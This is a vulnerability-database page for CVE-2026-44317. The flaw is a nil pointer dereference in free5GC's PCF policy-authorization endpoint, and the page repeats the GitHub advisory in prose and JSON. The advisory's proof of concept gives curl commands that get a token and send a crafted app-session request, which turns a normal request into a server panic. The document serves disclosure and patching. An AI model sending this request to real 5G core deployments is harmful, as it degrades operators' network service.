Vulnerability-Lookup

CVE-2026-44317 (GCVE-0-2026-44317)

Vulnerability from cvelistv5 – Published: 2026-05-27 15:50 – Updated: 2026-05-28 14:46

Title

free5GC: PCF npcf-policyauthorization POST /app-sessions panics on suppFeat=1 with missing AfRoutReq via nil pointer dereference

Summary

free5GC is an open-source implementation of the 5G core network. Prior to 4.2.2, free5GC's PCF POST /npcf-policyauthorization/v1/app-sessions handler panics on a single authenticated request whose ascReqData.suppFeat == "1" (enabling traffic-routing feature negotiation) and whose medComponents entries supply an afAppId but NO AfRoutReq. The create path then calls provisioningOfTrafficRoutingInfo(smPolicy, appID, routeReq, ...) with routeReq == nil and dereferences routeReq.RouteToLocs (and other fields) without a nil check, causing runtime error: invalid memory address or nil pointer dereference. Gin recovery converts the panic into HTTP 500. This vulnerability is fixed in 4.2.2.

Severity

6.5 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-05-28 14:45 UTC

CWE

CWE-476 - NULL Pointer Dereference
CWE-754 - Improper Check for Unusual or Exceptional Conditions

Assigner

GitHub_M mitre root

References

4 references

URL	Tags
https://github.com/free5gc/free5gc/security/advis…	x_refsource_CONFIRM
https://github.com/free5gc/free5gc/issues/879	x_refsource_MISC
https://github.com/free5gc/pcf/pull/65	x_refsource_MISC
https://github.com/free5gc/pcf/commit/508d70b8527…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
free5gc	free5gc	Affected: < 4.2.2	guessed

Show details on NVD website

JSON

To clipboard

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FKIE_CVE-2026-44317

Vulnerability from fkie_nvd - Published: 2026-05-27 17:16 - Updated: 2026-06-17 10:50

Severity

6.5 (Medium) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Summary

References

URL	Tags
security-advisories@github.com	https://github.com/free5gc/free5gc/issues/879	Exploit, Issue Tracking
security-advisories@github.com	https://github.com/free5gc/free5gc/security/advisories/GHSA-wwqh-7jm5-gj7w	Exploit, Vendor Advisory
security-advisories@github.com	https://github.com/free5gc/pcf/commit/508d70b8527a6c8c923179dad450ea01e16b6aeb	Patch
security-advisories@github.com	https://github.com/free5gc/pcf/pull/65	Issue Tracking, Patch
134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/free5gc/free5gc/security/advisories/GHSA-wwqh-7jm5-gj7w	Exploit, Vendor Advisory

Impacted products

	Vendor	Product	Version
	free5gc	free5gc	*

JSON

To clipboard

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GHSA-WWQH-7JM5-GJ7W

Vulnerability from github – Published: 2026-05-08 22:40 – Updated: 2026-06-08 23:47

Summary

free5GC's PCF npcf-policyauthorization POST /app-sessions panics on suppFeat=1 with missing AfRoutReq via nil pointer dereference

Details

Summary

free5GC's PCF POST /npcf-policyauthorization/v1/app-sessions handler panics on a single authenticated request whose ascReqData.suppFeat == "1" (enabling traffic-routing feature negotiation) and whose medComponents entries supply an afAppId but NO AfRoutReq. The create path then calls provisioningOfTrafficRoutingInfo(smPolicy, appID, routeReq, ...) with routeReq == nil and dereferences routeReq.RouteToLocs (and other fields) without a nil check, causing runtime error: invalid memory address or nil pointer dereference. Gin recovery converts the panic into HTTP 500.

The trigger is a single valid authenticated request -- changing only suppFeat from "0" to "1" flips the same shape of POST from a normal 201 Created into a panic-driven 500.

This endpoint requires a valid npcf-policyauthorization OAuth2 access token (PR:L). The PCF process is not killed (Gin recovers); the realized impact is per-request panic-DoS on the app-session create path.

Details

Validated against the PCF container in the official Docker compose lab. - Source repo tag: v4.2.1 - PCF endpoint: http://10.100.200.9:8000 - Validation date: 2026-03-12

Vulnerable handler path:

postAppSessCtxProcedure
 -> medComponents loop
   -> appID := medComp.AfAppId
      routeReq := medComp.AfRoutReq   // nil when AfRoutReq absent
      provisioningOfTrafficRoutingInfo(smPolicy, appID, routeReq, medComp.FStatus)

In provisioningOfTrafficRoutingInfo, routeReq.RouteToLocs, routeReq.UpPathChgSub, and routeReq.AppReloc are dereferenced directly without a nil check. When suppFeat is "0" the traffic-routing branch is not entered and the same input shape returns 201 Created; when suppFeat is "1" the branch is entered and the nil-deref fires.

Code evidence (paths in free5gc/pcf): - Affected route + dispatch: NFs/pcf/internal/sbi/api_policyauthorization.go - Create handler path: NFs/pcf/internal/sbi/processor/policyauthorization.go - Call site that passes nil routeReq into the traffic-routing helper: NFs/pcf/internal/sbi/processor/policyauthorization.go - Panic site (nil deref of routeReq.* fields): NFs/pcf/internal/sbi/processor/policyauthorization.go:1740

PoC

Reproduced end-to-end against the running PCF at http://10.100.200.9:8000.

Obtain a valid npcf-policyauthorization token from NRF:

curl -sS -X POST 'http://10.100.200.3:8000/oauth2/token' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data 'grant_type=client_credentials&nfType=NEF&nfInstanceId=b84c4f0a-6010-4972-8480-e44e625b9ee4&targetNfType=PCF&scope=npcf-policyauthorization'

Trigger the panic with a single valid authenticated POST whose ascReqData.suppFeat == "1", medComponents supplies afAppId, and AfRoutReq is absent:

curl -i -X POST 'http://10.100.200.9:8000/npcf-policyauthorization/v1/app-sessions' \
  -H 'Content-Type: application/json' \
  -H 'Authorization: Bearer <valid_npcf_policyauthorization_jwt>' \
  --data '{"ascReqData":{"suppFeat":"1","notifUri":"http://127.0.0.1:9999/appsess","ueIpv4":"10.60.0.3","dnn":"internet","medComponents":{"1":{"medCompN":1,"afAppId":"app1"}}}}'

HTTP/1.1 500 Internal Server Error

Control comparison -- same request shape but suppFeat="0" -> normal 201 Created:

curl -i -X POST 'http://10.100.200.9:8000/npcf-policyauthorization/v1/app-sessions' \
  -H 'Content-Type: application/json' \
  -H 'Authorization: Bearer <valid_npcf_policyauthorization_jwt>' \
  --data '{"ascReqData":{"suppFeat":"0","notifUri":"http://127.0.0.1:9999/appsess","ueIpv4":"10.60.0.3","dnn":"internet","medComponents":{"1":{"medCompN":1,"afAppId":"app1"}}}}'

HTTP/1.1 201 Created

PCF container logs show the panic stack landing in provisioningOfTrafficRoutingInfo with routeReq = 0x0:

[ERRO][PCF][GIN] panic: runtime error: invalid memory address or nil pointer dereference
  github.com/free5gc/pcf/internal/sbi/processor.provisioningOfTrafficRoutingInfo(..., 0x0, ...)
      .../policyauthorization.go:1740
  github.com/free5gc/pcf/internal/sbi/processor.(*Processor).postAppSessCtxProcedure
      .../policyauthorization.go:288
  github.com/free5gc/pcf/internal/sbi/processor.(*Processor).HandlePostAppSessionsContext
      .../policyauthorization.go:139
  github.com/free5gc/pcf/internal/sbi.(*Server).HTTPPostAppSessions
      .../api_policyauthorization.go:119
[INFO][PCF][GIN] | 500 | POST | /npcf-policyauthorization/v1/app-sessions |

Impact

NULL pointer dereference (CWE-476) caused by improper handling of an exceptional branch (CWE-754): the create path passes routeReq straight into provisioningOfTrafficRoutingInfo without a nil check, even though medComp.AfRoutReq is optional and is nil for the demonstrated valid input shape. The control experiment with suppFeat="0" proves the request shape itself is otherwise valid.

Gin recovery catches the panic, so the PCF process is NOT killed and other endpoints continue serving. The realized impact is per-request: any authenticated POST against this endpoint with suppFeat="1" and medComponents.*.AfAppId set but AfRoutReq absent returns HTTP 500 with empty body and a stack trace in PCF logs.

Any party that holds (or can obtain) a valid npcf-policyauthorization token can repeatedly drive this code path to sustain a per-request panic-DoS on the app-session create endpoint, with each panic costing more CPU + log writes than the intended controlled response would have.

No Confidentiality impact (the response is 500 with empty body). No persistent Integrity impact (the panic happens before any state mutation). Availability impact is limited to per-request degradation.

Affected: free5gc v4.2.1.

Upstream issue: https://github.com/free5gc/free5gc/issues/879 Upstream fix: https://github.com/free5gc/pcf/pull/65

Severity

6.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/free5gc/pcf"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.4.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44317"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-476",
      "CWE-754"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-08T22:40:11Z",
    "nvd_published_at": "2026-05-27T17:16:36Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nfree5GC\u0027s PCF `POST /npcf-policyauthorization/v1/app-sessions` handler panics on a single authenticated request whose `ascReqData.suppFeat == \"1\"` (enabling traffic-routing feature negotiation) and whose `medComponents` entries supply an `afAppId` but NO `AfRoutReq`. The create path then calls `provisioningOfTrafficRoutingInfo(smPolicy, appID, routeReq, ...)` with `routeReq == nil` and dereferences `routeReq.RouteToLocs` (and other fields) without a nil check, causing `runtime error: invalid memory address or nil pointer dereference`. Gin recovery converts the panic into `HTTP 500`.\n\nThe trigger is a single valid authenticated request -- changing only `suppFeat` from `\"0\"` to `\"1\"` flips the same shape of POST from a normal `201 Created` into a panic-driven `500`.\n\nThis endpoint requires a valid `npcf-policyauthorization` OAuth2 access token (PR:L). The PCF process is not killed (Gin recovers); the realized impact is per-request panic-DoS on the app-session create path.\n\n### Details\nValidated against the PCF container in the official Docker compose lab.\n- Source repo tag: `v4.2.1`\n- PCF endpoint: `http://10.100.200.9:8000`\n- Validation date: 2026-03-12\n\nVulnerable handler path:\n```\npostAppSessCtxProcedure\n -\u003e medComponents loop\n   -\u003e appID := medComp.AfAppId\n      routeReq := medComp.AfRoutReq   // nil when AfRoutReq absent\n      provisioningOfTrafficRoutingInfo(smPolicy, appID, routeReq, medComp.FStatus)\n```\n\nIn `provisioningOfTrafficRoutingInfo`, `routeReq.RouteToLocs`, `routeReq.UpPathChgSub`, and `routeReq.AppReloc` are dereferenced directly without a nil check. When `suppFeat` is `\"0\"` the traffic-routing branch is not entered and the same input shape returns `201 Created`; when `suppFeat` is `\"1\"` the branch is entered and the nil-deref fires.\n\nCode evidence (paths in `free5gc/pcf`):\n- Affected route + dispatch: `NFs/pcf/internal/sbi/api_policyauthorization.go`\n- Create handler path: `NFs/pcf/internal/sbi/processor/policyauthorization.go`\n- Call site that passes nil `routeReq` into the traffic-routing helper: `NFs/pcf/internal/sbi/processor/policyauthorization.go`\n- Panic site (nil deref of `routeReq.*` fields): `NFs/pcf/internal/sbi/processor/policyauthorization.go:1740`\n\n### PoC\nReproduced end-to-end against the running PCF at `http://10.100.200.9:8000`.\n\n1. Obtain a valid `npcf-policyauthorization` token from NRF:\n```\ncurl -sS -X POST \u0027http://10.100.200.3:8000/oauth2/token\u0027 \\\n  -H \u0027Content-Type: application/x-www-form-urlencoded\u0027 \\\n  --data \u0027grant_type=client_credentials\u0026nfType=NEF\u0026nfInstanceId=b84c4f0a-6010-4972-8480-e44e625b9ee4\u0026targetNfType=PCF\u0026scope=npcf-policyauthorization\u0027\n```\n\n2. Trigger the panic with a single valid authenticated POST whose `ascReqData.suppFeat == \"1\"`, `medComponents` supplies `afAppId`, and `AfRoutReq` is absent:\n```\ncurl -i -X POST \u0027http://10.100.200.9:8000/npcf-policyauthorization/v1/app-sessions\u0027 \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -H \u0027Authorization: Bearer \u003cvalid_npcf_policyauthorization_jwt\u003e\u0027 \\\n  --data \u0027{\"ascReqData\":{\"suppFeat\":\"1\",\"notifUri\":\"http://127.0.0.1:9999/appsess\",\"ueIpv4\":\"10.60.0.3\",\"dnn\":\"internet\",\"medComponents\":{\"1\":{\"medCompN\":1,\"afAppId\":\"app1\"}}}}\u0027\n```\n```\nHTTP/1.1 500 Internal Server Error\n```\n\n3. Control comparison -- same request shape but `suppFeat=\"0\"` -\u003e normal `201 Created`:\n```\ncurl -i -X POST \u0027http://10.100.200.9:8000/npcf-policyauthorization/v1/app-sessions\u0027 \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -H \u0027Authorization: Bearer \u003cvalid_npcf_policyauthorization_jwt\u003e\u0027 \\\n  --data \u0027{\"ascReqData\":{\"suppFeat\":\"0\",\"notifUri\":\"http://127.0.0.1:9999/appsess\",\"ueIpv4\":\"10.60.0.3\",\"dnn\":\"internet\",\"medComponents\":{\"1\":{\"medCompN\":1,\"afAppId\":\"app1\"}}}}\u0027\n```\n```\nHTTP/1.1 201 Created\n```\n\n4. PCF container logs show the panic stack landing in `provisioningOfTrafficRoutingInfo` with `routeReq = 0x0`:\n```\n[ERRO][PCF][GIN] panic: runtime error: invalid memory address or nil pointer dereference\n  github.com/free5gc/pcf/internal/sbi/processor.provisioningOfTrafficRoutingInfo(..., 0x0, ...)\n      .../policyauthorization.go:1740\n  github.com/free5gc/pcf/internal/sbi/processor.(*Processor).postAppSessCtxProcedure\n      .../policyauthorization.go:288\n  github.com/free5gc/pcf/internal/sbi/processor.(*Processor).HandlePostAppSessionsContext\n      .../policyauthorization.go:139\n  github.com/free5gc/pcf/internal/sbi.(*Server).HTTPPostAppSessions\n      .../api_policyauthorization.go:119\n[INFO][PCF][GIN] | 500 | POST | /npcf-policyauthorization/v1/app-sessions |\n```\n\n### Impact\nNULL pointer dereference (CWE-476) caused by improper handling of an exceptional branch (CWE-754): the create path passes `routeReq` straight into `provisioningOfTrafficRoutingInfo` without a nil check, even though `medComp.AfRoutReq` is optional and is nil for the demonstrated valid input shape. The control experiment with `suppFeat=\"0\"` proves the request shape itself is otherwise valid.\n\nGin recovery catches the panic, so the PCF process is NOT killed and other endpoints continue serving. The realized impact is per-request: any authenticated POST against this endpoint with `suppFeat=\"1\"` and `medComponents.*.AfAppId` set but `AfRoutReq` absent returns `HTTP 500` with empty body and a stack trace in PCF logs.\n\nAny party that holds (or can obtain) a valid `npcf-policyauthorization` token can repeatedly drive this code path to sustain a per-request panic-DoS on the app-session create endpoint, with each panic costing more CPU + log writes than the intended controlled response would have.\n\nNo Confidentiality impact (the response is `500` with empty body). No persistent Integrity impact (the panic happens before any state mutation). Availability impact is limited to per-request degradation.\n\nAffected: free5gc v4.2.1.\n\nUpstream issue: https://github.com/free5gc/free5gc/issues/879\nUpstream fix: https://github.com/free5gc/pcf/pull/65",
  "id": "GHSA-wwqh-7jm5-gj7w",
  "modified": "2026-06-08T23:47:08Z",
  "published": "2026-05-08T22:40:11Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/free5gc/free5gc/security/advisories/GHSA-wwqh-7jm5-gj7w"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44317"
    },
    {
      "type": "WEB",
      "url": "https://github.com/free5gc/free5gc/issues/879"
    },
    {
      "type": "WEB",
      "url": "https://github.com/free5gc/pcf/pull/65"
    },
    {
      "type": "WEB",
      "url": "https://github.com/free5gc/pcf/commit/508d70b8527a6c8c923179dad450ea01e16b6aeb"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/free5gc/free5gc"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "free5GC\u0027s PCF npcf-policyauthorization POST /app-sessions panics on suppFeat=1 with missing AfRoutReq via nil pointer dereference"
}

Sightings

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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
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Action not permitted

CVE-2026-44317 (GCVE-0-2026-44317)

FKIE_CVE-2026-44317

GHSA-WWQH-7JM5-GJ7W

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